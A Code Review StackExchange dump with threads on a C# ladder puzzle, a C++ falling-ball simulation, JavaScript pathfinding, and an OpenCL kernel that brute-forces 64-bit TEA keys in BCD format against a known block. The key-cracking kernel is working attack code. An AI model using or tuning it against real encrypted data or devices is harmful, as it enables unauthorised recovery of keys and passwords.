"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:22:11.437",
"Id": "513872",
"Score": "0",
"body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:22:18.523",
"Id": "513873",
"Score": "0",
"body": "Please [**follow the tour**](https://CodeReview.StackExchange.com/tour), and read [**\"What topics can I ask about here?\"**](https://CodeReview.StackExchange.com/help/on-topic), [**\"How do I ask a good question?\"**](https://CodeReview.StackExchange.com/help/how-to-ask) and [**\"What types of questions should I avoid asking?\"**](https://CodeReview.StackExchange.com/help/dont-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T08:17:18.440",
"Id": "513980",
"Score": "0",
"body": "Thanks for the advice, I will do that and update the question accordingly."
}
] |
[
{
"body": "<p>I was finally able to reduce it enough to return result for 1 million inputs in around 10 secs.</p>\n<pre><code>class Program\n{\n static void Main(string[] args)\n {\n int T = Convert.ToInt32(Console.ReadLine());\n StringBuilder sb = new StringBuilder("");\n for (int i = 0; i < T; i++)\n {\n int N = Convert.ToInt32(Console.ReadLine());\n int[] numOfStairs = new int[N + 1];\n numOfStairs[0] = 0;\n int floorsMarked = 0;\n string[] str = Console.ReadLine().Split();\n for (int j = 0; j < str.Length; j++)\n {\n int length = Convert.ToInt32(str[j]);\n int reach = j + length > N ? N : j + length;\n while (floorsMarked < reach)\n {\n floorsMarked++;\n numOfStairs[floorsMarked] = numOfStairs[j] + 1;\n }\n if (reach >= N)\n break;\n }\n int Q = Convert.ToInt32(Console.ReadLine());\n for (int j = 0; j < Q; j++)\n {\n int target = Convert.ToInt32(Console.ReadLine());\n sb.AppendLine(numOfStairs[target].ToString());\n }\n }\n Console.WriteLine(sb.ToString());\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T10:37:57.780",
"Id": "260251",
"ParentId": "260242",
"Score": "0"
}
},
{
"body": "<p>Applied few minor optimisations to the code from the OP's answer. Also fixed naming issues (locals name starts from a lower-cased letter).</p>\n<pre class=\"lang-cs prettyprint-override\"><code>class Program\n{\n static void Main(string[] args)\n {\n int t = int.Parse(Console.ReadLine());\n StringBuilder sb = new StringBuilder();\n for (int i = 0; i < t; i++)\n {\n int n = int.Parse(Console.ReadLine());\n int[] numOfStairs = new int[n + 1];\n int floorsMarked = 0;\n string[] str = Console.ReadLine().Split();\n for (int j = 0; j < str.Length; j++)\n {\n int length = int.Parse(str[j]);\n int reach = j + length > n ? n : j + length;\n while (floorsMarked < reach)\n {\n floorsMarked++;\n numOfStairs[floorsMarked] = numOfStairs[j] + 1;\n }\n if (reach == n)\n break;\n }\n int q = int.Parse(Console.ReadLine());\n for (int j = 0; j < q; j++)\n {\n int target = int.Parse(Console.ReadLine());\n sb.Append(numOfStairs[target]).AppendLine();\n }\n }\n Console.Write(sb);\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T05:04:21.773",
"Id": "513849",
"Score": "0",
"body": "Thanks for the input. I noticed that you changed Convert.Int32 to int.parse which is a tad bit faster but i do not see any other changes that would reduce execution time. Let me know if i am missing anything.\nI also noticed that you reduced the size of Array \"numOfStairs\" to n from n+1. I think that would cause a IndexOutOfBound since for the last floor, the index would be n -> size needs to be n+1."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T06:01:44.813",
"Id": "513860",
"Score": "0",
"body": "@AkshayGupta `Console.Write(sb);` didn't affect the performance? Further performance tweaks require .NET Core, and more details on input steucture sizes. For example, you may use `ArrayPool<T>` instead of allocating array. `Span<T>` can be also useful with stack allocations."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T08:57:16.430",
"Id": "513983",
"Score": "0",
"body": "Thanks for the inputs. i will look into implementing your advice. Also, i did not know that ```Console.Write(sb);``` is faster than ```Console.WriteLine(sb);```"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-12T18:11:24.257",
"Id": "514483",
"Score": "0",
"body": "@Akshay i don't know is it faster but i know that `WriteLine` and `Wtite` accepts `StringBuilder` as it is. Probably it avoids allocating the output `string`. Write differs from WriteLine only at ending LF. I changed to Write because you already have ending LF in sb, written there with `AppendLine`."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T12:56:43.710",
"Id": "260255",
"ParentId": "260242",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260255",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:45:38.830",
"Id": "260242",
"Score": "1",
"Tags": [
"c#",
"algorithm",
"programming-challenge",
"dynamic-programming"
],
"Title": "I want reduce the time complexity for this ladder problem to find the minimum ladders required"
}
|
260242
|
<p>I wrote a brute-force attack on passwords using video cards for any algorithms with a 32-bit block and a 64-bit key, the password is only in BCD format, in the kernel source code the TEA algorithm, the project is written in c ++ builder 10.4, on a Radeon RX560 video card, a full brute-force attack from 0000000000000000 to 9999999999999999 takes 54 days , on the RTX3070 video card it takes 17 days, who knows OpenCL well, is it possible to speed up the search or I squeezed everything to the maximum ???</p>
<p>project files: <a href="https://drive.google.com/file/d/1Hcb2jl9HA_ZUf_Q6GD0u41z6FJBz5185/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1Hcb2jl9HA_ZUf_Q6GD0u41z6FJBz5185/view?usp=sharing</a></p>
<p>kernel:</p>
<pre><code>#pragma OPENCL EXTENSION cl_khr_byte_addressable_store : enable
#pragma OPENCL EXTENSION cl_khr_global_int32_base_atomics : enable
#pragma OPENCL EXTENSION cl_khr_local_int32_base_atomics : enable
#pragma OPENCL EXTENSION cl_khr_global_int32_extended_atomics : enable
#pragma OPENCL EXTENSION cl_khr_local_int32_extended_atomics : enable
ulong dec2bcd(uint dec)
{
ulong result = 0;
int shift = 0;
while (dec)
{
result += (dec % 10) << shift;
dec = dec / 10;
shift += 4;
}
return result;
}
__kernel void brute(__global const int *KEY, __global const int *DAT, __global int *CADR,
__global int *RETC)
{
union{
ulong key_tmp;
ushort Key[4];
}cs;
int i = get_global_id(0);
ushort Data[2];
cs.Key[3]=(KEY[0]>>16);
cs.Key[2]=(KEY[0]&0xFFFF);
cs.Key[1]=(KEY[1]>>16);
cs.Key[0]=(KEY[1]&0xFFFF);
cs.key_tmp+=dec2bcd(i);
Data[0]=(DAT[0] >> 16);
Data[1]=(DAT[0] & 0xFFFF);
ushort delta = 0x9e37;
ushort sum = (delta<<5);
for (uint n = 0;n < 32; ++n){
Data[1]-=(((Data[0])+cs.Key[1])^(Data[0]+sum)^((Data[0]>>5)+cs.Key[0]));
Data[0]-=(((Data[1]<<4)+cs.Key[3])^(Data[1]+sum)^(Data[1]+cs.Key[2]));
sum -= delta;
}
if ((Data[0]==0x0000) && (Data[1]==0x0000)){
int a=atomic_inc(CADR);
RETC[a*2]=(((cs.Key[3])<<16)+cs.Key[2]);
RETC[a*2+1]=(((cs.Key[1])<<16)+cs.Key[0]);
}
</code></pre>
<p>}</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T08:11:54.887",
"Id": "260247",
"Score": "1",
"Tags": [
"c++",
"opencl"
],
"Title": "brute force algorithm keys with 32bit block and 64bit key using OpenCL"
}
|
260247
|
<p>I made a simple simulation of a falling ball. Is it possible to somehow improve or optimize this code? What tips can you give for development?</p>
<pre><code>#include <iostream>
#include <cstdlib>
#include <cmath>
using namespace std;
int timeFallingBall() {
static int time(0);
return ++time;
}
void fallingBall() {
cout << "From what height do we drop the ball? (In meters): ";
double h;
cin >> h;
double v = 0, high = 0, s = 0, maxv = 0, g = 9.8;
int t = 0;
double hi = h;
while (h) {
t = timeFallingBall();
v = static_cast<double>(t) * g;
high = (v * static_cast<double>(t)) / 2;
h = hi - high;
if (h <= 0) {
switch (t) {
case 1:
cout << "After " << t << " second the ball has reached the ground! Maximum speed: " << maxv << " m/s";
break;
default:
cout << "After " << t << " seconds the ball has reached the ground! Maximum speed: " << maxv << " m/s";
}
break;
}
switch (t) {
case 1:
cout << "After " << t << " second, the ball is at a distance of " << h << " m from the ground at a speed: " << v << " m/s" << endl;
break;
default:
cout << "After " << t << " seconds, the ball is at a distance of " << h << " m from the ground at a speed: " << v << " m/s" << endl;
break;
}
if (v > maxv) {
maxv = v;
}
}
}
int main() {
system("chcp 1251>nul");
fallingBall();
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T11:19:10.283",
"Id": "513717",
"Score": "5",
"body": "Note that the time it takes for a ball to hit the ground can be calculated exactly: `t = std::sqrt(2 * h / g)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T11:24:08.833",
"Id": "513718",
"Score": "0",
"body": "Thanks! I'll know."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T06:46:32.640",
"Id": "513785",
"Score": "0",
"body": "I had this task in my Bechelor's. To quote my professor \"this problem seems обжиоус but is actually somewhat difficult because of the nonlinearity\"."
}
] |
[
{
"body": "<ul>\n<li><p><code>using namespace std;</code> is a bad habit to get into, as it can lead to name-collisions and other issues. It's best to explicitly qualify the names we need where necessary, e.g. <code>std::cout</code>.</p>\n</li>\n<li><p>A few more line-breaks would be useful in the code. Think of code with a specific purpose as a paragraph when writing text. For example, this could be considered one "paragraph", so should have an empty line after it.</p>\n<pre><code> std::cout << "From what height do we drop the ball? (In meters): ";\n double h; \n std::cin >> h;\n</code></pre>\n</li>\n<li><p>We have several similarly named variables <code>h</code>, <code>high</code> and <code>hi</code>. This makes the code harder to understand.</p>\n</li>\n<li><p>Variables that don't change should be marked <code>const</code>. (e.g. <code>g</code>).</p>\n</li>\n<li><p>Variables should generally be declared as close to the point of use as possible, set to immediately useful values, and not reused (unless they consume significant resources). For example, <code>t</code>, <code>v</code>, <code>high</code> and <code>h</code> can all be declared where they are set inside the loop.</p>\n</li>\n<li><p><code>s</code> does not appear to be used.</p>\n</li>\n<li><p>We have no way to reset the static time variable in <code>timeFallingBall()</code>. This means we can't call <code>fallingBall</code> a second time, to drop another ball. We can easily just increment <code>t</code> in the <code>fallingBall</code> function instead.</p>\n</li>\n<li><p><code>while (h)</code> translates to <code>while (h != 0)</code>. Since <code>h</code> is a <code>double</code> with a calculated value, it's a bad idea to compare it with an exact number. We should use <code>while (h > 0.0)</code> instead, or <code>while (true)</code> since we handle the exit condition inside the loop.</p>\n</li>\n<li><p>In C++, number literals have specific types: <code>0</code> is an <code>int</code>, <code>0.f</code> is a <code>float</code>, <code>0.0</code> is a double. When comparing or assigning to variables, it's best to use the literal style of the correct variable type, rather than relying on conversions.</p>\n</li>\n<li><p><code>std::endl</code> outputs a newline, but also flushes the output stream unnecessarily. We can output "\\n" to get a newline without the flush.</p>\n</li>\n<li><p>Note that given the constant downwards acceleration, the maximum velocity is always going to be the velocity when the ball hits the ground. So we don't really need to keep track of it.</p>\n</li>\n<li><p>(Obviously the 1 second resolution makes the max speed output rather incorrect).</p>\n</li>\n</ul>\n<hr />\n<p>Applying the above, I'd probably go with something like:</p>\n<pre><code>void fallingBall()\n{\n std::cout << "From what height do we drop the ball? (In meters): ";\n double h_start;\n std::cin >> h_start;\n\n if (h_start <= 0.0)\n {\n std::cout << "The ball is already on the ground!\\n";\n return;\n }\n\n const double g = 9.81;\n\n double t = 0.0;\n\n while (true)\n {\n t += 1.0;\n\n const double h_current = h_start - 0.5 * g * t * t;\n const double v_current = g * t;\n\n if (h_current <= 0.0)\n {\n std::cout << "After second " << t << ", the ball has reached the ground! Maximum speed: " << v_current << " m/s\\n";\n break;\n }\n\n std::cout << "After second " << t << ", the ball is at a distance of " << h_current << " m from the ground at a speed: " << v_current << " m/s\\n";\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T10:45:39.160",
"Id": "513716",
"Score": "1",
"body": "Thanks for the advice. This is really very important to me. At the expense of using namespace std, it is said in the material in which I learn the language, why it is not worth doing this. I found out about this only after writing this code and could not notice it before posting. The rest of the tips I will try to apply them and improve the understanding of the code. Thanks for helping me improve my style code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T13:17:01.383",
"Id": "513720",
"Score": "3",
"body": "[This Stack Overflow question](https://stackoverflow.com/q/1452721) explains in detail why `using namespace std` is bad."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T18:13:29.690",
"Id": "513749",
"Score": "2",
"body": "Why not put the logic inside `if (h_current <= 0.0)` after the while loop and instead change the condition to `while (h_current > 0)`?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T10:04:55.457",
"Id": "260250",
"ParentId": "260249",
"Score": "11"
}
},
{
"body": "<p>@user673679's comments about style, var names, and the weirdness of having a <code>static int</code> inside a special function are all good so I won't repeat most of that.</p>\n<p><strong>You over-estimate the final speed by up to 0.9999... seconds of extra falling time past ground level</strong>, i.e. worst case error of almost 9.8 m/s if the previous timestep had the object above the ground by the smallest representable <code>double</code> that can result from the rounding error in <code>hi - high</code> when you subtract two nearby numbers<sup>1</sup>. A smaller simulation timestep, or some kind of interpolation when you detect the collision, would be much better. (The physics is simple here so you <em>could</em> interpolate exactly back from the height below ground, but even linear interpolation, i.e. assuming that the object moves at constant speed since the last step, would let you make a closer estimate of the time when it hit the ground, and thus to correct total falling time and thus speed.)</p>\n<p>Or just solve the equation and calculate the correct final speed for this simple case; as @G. Sliepen commented, <code>t = std::sqrt(2 * h / g)</code>, and from that <code>t</code> with constant acceleration you can simply calculate velocity. So <code>v = sqrt(2 * h / g) * g</code>, or taking <code>g</code> inside the sqrt and simplifying: <code>v = std::sqrt(2 * h * g);</code></p>\n<p>Note 1: Subtracting two nearby FP numbers is bad for numerical precision in general; the rounding error is called "catastrophic cancellation". But in this case it appears you only want to know when to stop, so <code>hi <= high</code> would avoid that. Or is it <code>high <= hi</code>? Without going back to check your code, I forget which one is which because their names don't distinguish them at all.</p>\n<p><strong><code>switch</code> with duplicate code except for one letter bloats your code a lot.</strong></p>\n<p>A common lazy technique is <code>... second(s)</code> to indicate that the reader should infer singular or plural based on the number. That seems appropriate and good enough when you're mostly interested in the physics simulation. @user673679 points out that in this case you could phrase it with ordinal numbers, using the number as a label for the interval to avoid the need to pluralize. "after second 2" is ok; a bit clunky to read.</p>\n<p><code>switch</code> is definitely the wrong approach for selecting between two things; that's what <code>if/else</code> is for. If you ever have a <code>switch</code> with one <code>case</code> and one <code>default:</code>, it should be an if/else instead. would be more compact, but you'd still be repeating yourself.</p>\n<pre><code> if (t == 1)\n std::cout << ... << '\\n';\n else\n std::cout << ...s << "blah blah\\n";\n\n</code></pre>\n<p>Another approach is to just select the message, and keep the code the same. (The switch or if hopefully compile to asm that works this way, if your compiler is smart and notices that it's just different data passed to the same functions.)</p>\n<pre><code> auto seconds_unit = (t == 1) ? "second" : "seconds";\n std::cout << "After " << t << seconds_unit << ", the ball is at a distance of " << h << " m from the ground at a speed: " << v << " m/s\\n";\n</code></pre>\n<p><strong><code>std::endl</code> is only useful if you want to force a flush</strong>, even if output is fully buffered (e.g. redirected to a file). Output to a terminal will already flush automatically when you output a newline, so you can simply include a <code>"\\n"</code> in a string literal if your output ends with a constant string instead of a number anyway. Even if you were doing something slow between prints, there'd be no need for <code>std::endl</code> to make sure interactive "progress updates" got shown when you wanted. That's why cout / stdout is line-buffered when it's connected to a terminal, not a file.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:11:47.657",
"Id": "513809",
"Score": "0",
"body": "I don’t even know why I didn’t figure out such a simple way, thanks for reminding me about it! And also thanks for your comments, this is very important to me."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T13:46:31.687",
"Id": "260302",
"ParentId": "260249",
"Score": "3"
}
},
{
"body": "<p>In addition to what's been posted previously, I like to stress that such problems should separate input, "the real problem", and output into separate functions.</p>\n<p>In your case, the print-as-you-go is more trouble than it's worth to isolate, but you can easily separate the user prompt and have a function accept a parameter. This makes it easy to call multiple times with fixed inputs for easy testing.</p>\n<pre><code>void falling_ball (double h_start);\n\nint main()\n{\n std::cout << "From what height do we drop the ball? (In meters): ";\n double h_start;\n std::cin >> h_start;\n falling_ball (h_start);\n}\n</code></pre>\n<p>If you did also separate out the generated values from the formatted printing, it would facilitate automatic testing, and be more like "real code" where this is calculated for use in a game or simulation.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T22:26:50.047",
"Id": "513838",
"Score": "0",
"body": "a lot of words that I do not understand. while I'm just starting and can't understand why all this is, but when I learn and become a smarter developer, I will definitely return to this post and understand. Thank you!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:51:33.273",
"Id": "513899",
"Score": "0",
"body": "What didn't you understand? Maybe we can give you some pointers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:55:20.607",
"Id": "513901",
"Score": "0",
"body": "I do not fully understand why it is better to write to the variable in the main function and for the fallingBall function to take a parameter than to do everything at once in the fallingBall function"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:14:07.433",
"Id": "513902",
"Score": "1",
"body": "Functions should do \"one thing\". Handling prompting the user and reading the terminal is a different problem, that has nothing to do with the falling ball calculation. Consider test code: you can write calls directly to `fallingBall(3.5); fallingBall(12);` without having to type them each time you test."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:01:24.630",
"Id": "260309",
"ParentId": "260249",
"Score": "3"
}
},
{
"body": "<p>Others have given you good advice on your style. I am far to rusty at C++ to comment either way. I suggest the approach below to actually solve the problem presented, and then apply the advice from others to make it good C++.</p>\n<pre><code>#include <iostream>\n#include <cstdlib>\n#include <cmath>\n\nvoid falling_ball(double height)\n{\n const double g = 9.81;\n double h = height;\n /* report progress of object falling under gravity \n from height h every second until it reaches the ground\n Use the equations of motion: \n v = u+at\n s = ut + 1/2 at^2 // assume u = 0\n => at^2 = 2s\n => t^2 = 2s/a\n => t = sqrt(2s/a)\n \n */\n \n double v = 0.0;\n double t = 0.0;\n double s = 0.0;\n\n do \n {\n std::cout << "After " << \n t << " seconds, the ball is at a distance of " << \n h << " m from the ground at a speed: " << \n v << " m/s" << std::endl;\n t ++; \n v = (g*t);\n s = (0.5*(g*(t*t)));\n h = height - s;\n } while (h > 0.0); \n t = std::sqrt(height*2/g); // calculate exact time of impact\n\n std::cout << "The ball reached the ground after " <<\n t << " seconds, at a speed of " <<\n (g*t) << " m/s" << std::endl;\n} \n\nint main()\n{\n std::cout << "From what height do we drop the ball? (In meters): ";\n double h_start;\n std::cin >> h_start;\n falling_ball (h_start);\n}\n</code></pre>\n<p>The output looks like this:</p>\n<pre><code>From what height do we drop the ball? (In meters): 30\nAfter 0 seconds, the ball is at a distance of 30 m from the ground at a speed: 0 m/s\nAfter 1 seconds, the ball is at a distance of 25.095 m from the ground at a speed: 9.81 m/s\nAfter 2 seconds, the ball is at a distance of 10.38 m from the ground at a speed: 19.62 m/s\nThe ball reached the ground after 2.4731 seconds, at a speed of 24.2611 m/s\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:49:53.493",
"Id": "513898",
"Score": "1",
"body": "don't use `using namespace std;`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T21:39:31.930",
"Id": "260316",
"ParentId": "260249",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260250",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T09:02:26.117",
"Id": "260249",
"Score": "8",
"Tags": [
"c++",
"beginner",
"physics"
],
"Title": "Simulation of a falling ball"
}
|
260249
|
<p>I tried to add Dijkstra's algorithm to a js game. First when I got it working it was very very Laggy (5-10 fps) and the browser would crash.. After adding a lot more improvements I got it to like 50-60 fps with 200 tiles (see GRID_SPREADING in script bellow). When I turn off this algorithm I have 120-144 fps, but I am trying to at least get 60+ fps while using 800-1000 tiles (see GRID_SPREADING in script below, I want max to be at least 800). I am not that good at coding yet so I would really be thankfull if you can help me achieve this goal... (here is the video I followed to create this: <a href="https://www.youtube.com/watch?v=0faPPgOT--E&t=934s" rel="nofollow noreferrer">https://www.youtube.com/watch?v=0faPPgOT--E&t=934s</a>, though, he was doing it in scratch).</p>
<p>Here is the laggy part:</p>
<pre><code>var GRID_SPREADING = {
dist: 80,
b_col: 100,
max: 400,
show: false
}
// the main player will look and move to the direction of the nearest tile (not the direction to the nearest tile, but the dir property of the nearest tile)
const pathfindLoop = async () => { // pgrids is an object of arrays that holds all dijkstra algorithm's tiles
if(!doPathfind || !nearestEnemy || dist4(nearestEnemy[1], nearestEnemy[2], enemyMovedPath[0], enemyMovedPath[1]) < 10) {
await sleep(10);
pathfindLoop();
return;
}
if(Object.keys(pgrids).length > GRID_SPREADING.max){
enemyMovedPath[0] = nearestEnemy[1];
enemyMovedPath[1] = nearestEnemy[2];
realPgrids = pgrids;
pgrids = {};
} else {
let makeFirstP = true;
for(let mfp in pgrids) {
if(dist4(pgrids[mfp].x, pgrids[mfp].y, nearestEnemy[1], nearestEnemy[2]) < 50); {
makeFirstP = false;
}
}
if(makeFirstP) {
createPathObj(nearestEnemy[1], nearestEnemy[2], 90);
}
for(let o in pgrids) {
if(!(pgrids[o].checked)) {
for(let i = 0; i < 4; i++) {
if(i == 3) {
pgrids[o].checked = true;
}
let res1 = locwxda(pgrids[o].x, pgrids[o].y, i*90, -GRID_SPREADING.dist);
let res = {x: res1.x, y: res1.y};
let go = true;
for(pgrid in pgrids) {
if(dist4(res.x, res.y, pgrids[pgrid].x, pgrids[pgrid].y) < GRID_SPREADING.dist/2.5) {
go = false;
break;
}
}
if(go) {
for(build in builds) { // builds is a large object of arrays: 50-300 properties, but removing this for loop doesn't improve much at all
if(dist4(builds[build][1], builds[build][2], res.x, res.y) < GRID_SPREADING.b_col) {
go = false;
break;
}
}
}
if(go) {
createPathObj(res.x, res.y, i*90) // a simple short function, adds an array property to object pgrids
}
}
}
}
}
await sleep(10);
pathfindLoop();
}
pathfindLoop();
</code></pre>
<p>I've done many research but I can't find the solution to solve this lag. Is there a completely different and better way to do this?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T13:15:35.463",
"Id": "513719",
"Score": "0",
"body": "There is too much missing from the code to do a meaningful review. Variables `doPathfind, nearestEnemy, enemyMovedPath, realPgrids, pgrids, builds` and functions `sleep, dist4, createPathObj, locwxda` are not defined"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T02:38:31.630",
"Id": "513775",
"Score": "0",
"body": "I have seen a performance hit when the JS interpreter has to transit scopes looking for definitions or declarations. And conversely, a significant performance gain when we moved global scoped things into the executing scope. Just speculating of course (see @Blindman67 comment), and it seems scope nesting / (dis)encapsulation / wading in the global gunk, are driving factors not complexity metrics."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:27:22.713",
"Id": "513874",
"Score": "0",
"body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
}
] |
[
{
"body": "<p>As most of the detail needed to workout what is going on, is missing, (See my comment on question) one can only review what one can see.</p>\n<p>Your request to resolve laggy code is impossible to address without makes a lot of guesses.</p>\n<h2>Bugs.</h2>\n<p>There is no path through the function <code>pathfindLoop</code> that does not call its self. This will cause you problems, however your intent is unclear and the exact nature of the problem depends on your intent.</p>\n<h3>Unclear awaiting</h3>\n<p>When you call sleep you await it.</p>\n<p>However the recursive call <code>pathfindLoop()</code> is not awaited. It is completely unclear if this is an error only your part (a bug) or deliberate (a problem).</p>\n<h3>Oh... the infinity of it all</h3>\n<p>Your function will crash the page as your code does not allow the call stack to pop calls when exiting <code>pathfindLoop</code></p>\n<p>To call <code>pathfindLoop</code> means an infinite list of calls to self.</p>\n<p>Guessing your intention one could see this as a way of creating an ongoing polling like system (similar to <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval\" rel=\"nofollow noreferrer\" title=\"MDN Web API's WindowOrWorkerGlobalScope setInterval\">setInterval</a> or an animation loop using <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame\" rel=\"nofollow noreferrer\" title=\"MDN Web API's Window requestAnimationFrame\">requestAnimationFrame</a>). Wait 10 (what ever's) then process data and repeat.</p>\n<p>If this is your intention it is very flawed as you fail to take into account the call stack.</p>\n<p>Each call to <code>pathfindLoop</code> adds a new context to the call stack. Each promise creates a new entry on the promise stack.</p>\n<p>As the function is <code>async</code> the context can not be removed from the stack until the context of <code>async</code> calls it has made, are resolved. This will never happen and eventually calling <code>pathfindLoop</code> will crash the page, well before that the page will become very unresponsive (laggy).</p>\n<p>Maybe this is the lag you mention in your question. Though without further details one can only guess.</p>\n<h2>General points</h2>\n<p>Further points noticed when reviewing the code.</p>\n<ul>\n<li><p>Poor naming.</p>\n</li>\n<li><p>JS convention is not to use <code>snake_case</code> for variable names. It is generally only used in js when defining names in <code>UPPERCASE_SNAKE</code></p>\n</li>\n<li><p>Inconsistent use of semicolons.</p>\n</li>\n<li><p>Odd placement of semicolon. You have a semicolon at the end of an <code>if</code> clause. eg <code>if (foo); {...</code> the semi colon is ignored, but one is left to wonder as to your intent here?</p>\n</li>\n<li><p>Too heavily reliant on higher scope. Particularly because you mutate <code>pgrids</code>, and <code>realPgrids</code>. This may or may not be bad but again without further information one can only guess.</p>\n</li>\n<li><p>Unclear use of higher scoped or undefined variables. Is the variable <code>build</code> defined??? Will adding <code>"use strict"</code> to your code cause it to crash??</p>\n</li>\n<li><p>Unsafe use of <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. for...in\">for...in</a> loops. In modern JS there really is no reason to use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. for...in\">for...in</a> loops. Rather use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. for...of\">for...of</a> loop</p>\n<p>Example of using <code>for of</code> rather than <code>for in</code>. From your code...</p>\n<blockquote>\n<pre><code>for (build in builds) {\n if (dist4(builds[build][1], builds[build][2], res.x, res.y) < GRID_SPREADING.b_col) {\n go = false;\n break;\n }\n }\n</code></pre>\n</blockquote>\n<p>Assuming <code>builds</code> is an object</p>\n<pre><code> for (const build of Object.values(builds)) {\n if (dist4(build[1], build[2], res.x, res.y) < GRID_SPREADING.b_col) {\n go = false;\n break;\n }\n }\n</code></pre>\n<p>Or assuming <code>builds</code> is an array</p>\n<pre><code> for (const build of builds) {\n if (dist4(build[1], build[2], res.x, res.y) < GRID_SPREADING.b_col) {\n go = false;\n break;\n }\n }\n\n // OR\n\n go = builds.every(build => dist4(build[1], build[2], res.x, res.y) >= GRID_SPREADING.b_col);\n</code></pre>\n<p>ref to <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array every\">Array.every</a></p>\n</li>\n</ul>\n<h2>Rewrite??</h2>\n<p>I can not fully rewrite your code as I can not code unknown details.</p>\n<p>The rewrite will address the call stack problem and assumes <code>pathfindLoop</code> to be akin to a polling function.</p>\n<pre><code>"use strict"; // Always use this directive. \n\nconst pathfindLoop = () => { // do not use async here\n // ... the rest of your code here\n\n setTimeout(pathfindLoop, 10); // assumes 10 from sleep(10); is ms\n}\n</code></pre>\n<p>Refs</p>\n<ul>\n<li><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/strict_mode\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript strict mode\">strict_mode</a></li>\n<li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout\" rel=\"nofollow noreferrer\" title=\"MDN Web API's WindowOrWorkerGlobalScope setTimeout\">setTimeout</a></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:01:22.783",
"Id": "513887",
"Score": "0",
"body": "Hey. Thanks for everything. I will try fix the bugs and bad code.. But I've tried many other things (It used to be setInterval and the performance is the same) and nothing seems to help. In the end, is it possible to have this algorithm with like 1000 tiles with good performance at all?\n\nEdit: Is there any better way that I can check if some coordinates are very near one of the property x and ys from a large object than just looping the object and checking every item one by one - I hope this is clear"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:54:37.423",
"Id": "513894",
"Score": "0",
